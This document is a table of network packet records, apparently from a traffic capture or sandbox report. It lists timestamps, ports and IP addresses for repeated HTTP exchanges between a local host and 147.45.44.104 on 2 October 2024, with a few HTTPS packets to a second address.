Oct 2, 2024 05:19:56.133126974 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.133136988 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.133146048 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.133153915 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.133155107 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.133164883 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.133176088 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.133177042 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.133177042 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.133217096 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.133217096 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.133249044 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.133259058 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.133268118 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.133280039 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.133296013 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.133327961 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.173363924 CEST	49766	443	192.168.2.4	104.21.77.132
Oct 2, 2024 05:19:56.173404932 CEST	49766	443	192.168.2.4	104.21.77.132
Oct 2, 2024 05:19:56.173465967 CEST	443	49766	104.21.77.132	192.168.2.4
Oct 2, 2024 05:19:56.212594986 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.212614059 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.212624073 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.212656975 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.212716103 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.212723017 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.212734938 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.212747097 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.212757111 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.212774038 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.212774038 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.212806940 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.212888002 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.212932110 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.212950945 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.212995052 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.213032961 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.213042974 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.213052034 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.213063002 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.213076115 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.213109970 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.213109970 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.213213921 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.213224888 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.213234901 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.213243961 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.213257074 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.213259935 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.213289022 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.213289022 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.213327885 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.213481903 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.213491917 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.213502884 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.213514090 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.213524103 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.213532925 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.213536978 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.213570118 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.213570118 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.213623047 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.213713884 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.213727951 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.213737965 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.213757992 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.213808060 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.213849068 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.213860035 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.213869095 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.213879108 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.213891983 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.213926077 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.213926077 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.213927031 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.213942051 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.213958979 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.213970900 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.213972092 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.213982105 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.213994026 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.213994980 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.213994980 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.214025974 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.214025974 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.214045048 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.214492083 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.214502096 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.214510918 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.214520931 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.214530945 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.214544058 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.214546919 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.214555025 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.214569092 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.214571953 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.214584112 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.214589119 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.214593887 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.214606047 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.214606047 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.214617968 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.214624882 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.214644909 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.214663982 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.215023994 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.215040922 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.215050936 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.215060949 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.215071917 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.215069056 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.215082884 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.215095043 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.215096951 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.215096951 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.215130091 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.215159893 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.215573072 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.215584040 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.215593100 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.215603113 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.215612888 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.215621948 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.215627909 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.215627909 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.215632915 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.215643883 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.215650082 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.215655088 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.215666056 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.215670109 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.215677023 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.215687990 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.215696096 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.215696096 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.215698004 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.215708017 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.215715885 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.215720892 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.215730906 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.215733051 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.215753078 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.215816021 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.216505051 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.216521978 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.216531038 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.216541052 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.216551065 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.216559887 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.216562033 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.216573954 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.216584921 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.216595888 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.216598034 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.216598034 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.216604948 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.216618061 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.216624022 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.216629028 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.216640949 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.216650009 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.216650009 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.216681957 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.216681957 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.217252016 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.217259884 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.217261076 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.217263937 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.217273951 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.217283964 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.217293024 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.217303038 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.217313051 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.217318058 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.217318058 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.217324972 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.217336893 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.217340946 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.217348099 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.217358112 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.217360020 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.217370987 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.217377901 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.217381001 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.217392921 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.217396975 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.217403889 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.217420101 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.217421055 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.217453957 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.218122005 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.218133926 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.218142986 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.218153954 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.218163967 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.218164921 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.218175888 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.218187094 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.218197107 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.218197107 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.218197107 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.218208075 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.218219995 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.218230009 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.218233109 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.218240976 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.218250036 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.218267918 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.218298912 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.218621969 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.218668938 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.218672991 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.218679905 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.218712091 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.218745947 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.218786001 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.218797922 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.218835115 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.218874931 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.218885899 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.218897104 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.218919992 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.218951941 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.298953056 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.299001932 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.299012899 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.299026012 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.299068928 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.299068928 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.299132109 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.299143076 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.299153090 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.299181938 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.299181938 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.299238920 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.299279928 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.299290895 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.299302101 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.299312115 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.299331903 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.299333096 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.299366951 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.299504042 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.299515963 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.299530029 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.299540043 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.299550056 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.299554110 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.299580097 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.299603939 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.299782991 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.299793959 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.299803972 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.299813986 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.299823046 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.299829960 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.299833059 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.299844027 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.299853086 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.299855947 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.299880028 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.299880981 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.299911976 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.300220013 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.300230980 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.300240993 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.300251007 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.300266027 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.300266981 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.300276995 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.300287962 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.300311089 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.300311089 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.300367117 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.300561905 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.300573111 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.300584078 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.300610065 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.300641060 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.300705910 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.300717115 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.300754070 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.300846100 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.300858021 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.300867081 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.300875902 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.300884962 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.300889969 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.300894976 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.300906897 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.300910950 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.300918102 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.300934076 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.300939083 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.300951004 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.300951004 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.300992966 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.301455021 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.301465034 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.301476002 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.301486015 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.301497936 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.301506042 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.301512003 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.301512003 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.301549911 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.301722050 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.301732063 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.301748037 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.301759005 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.301769018 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.301768064 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.301780939 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.301790953 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.301815987 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.301840067 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.302180052 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.302190065 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.302200079 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.302210093 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.302220106 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.302220106 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.302229881 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.302242994 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.302248955 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.302248955 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.302253962 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.302265882 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.302270889 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.302278042 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.302288055 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.302298069 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.302309036 CEST	80	49764	147.45.44.104	192.168.2.4
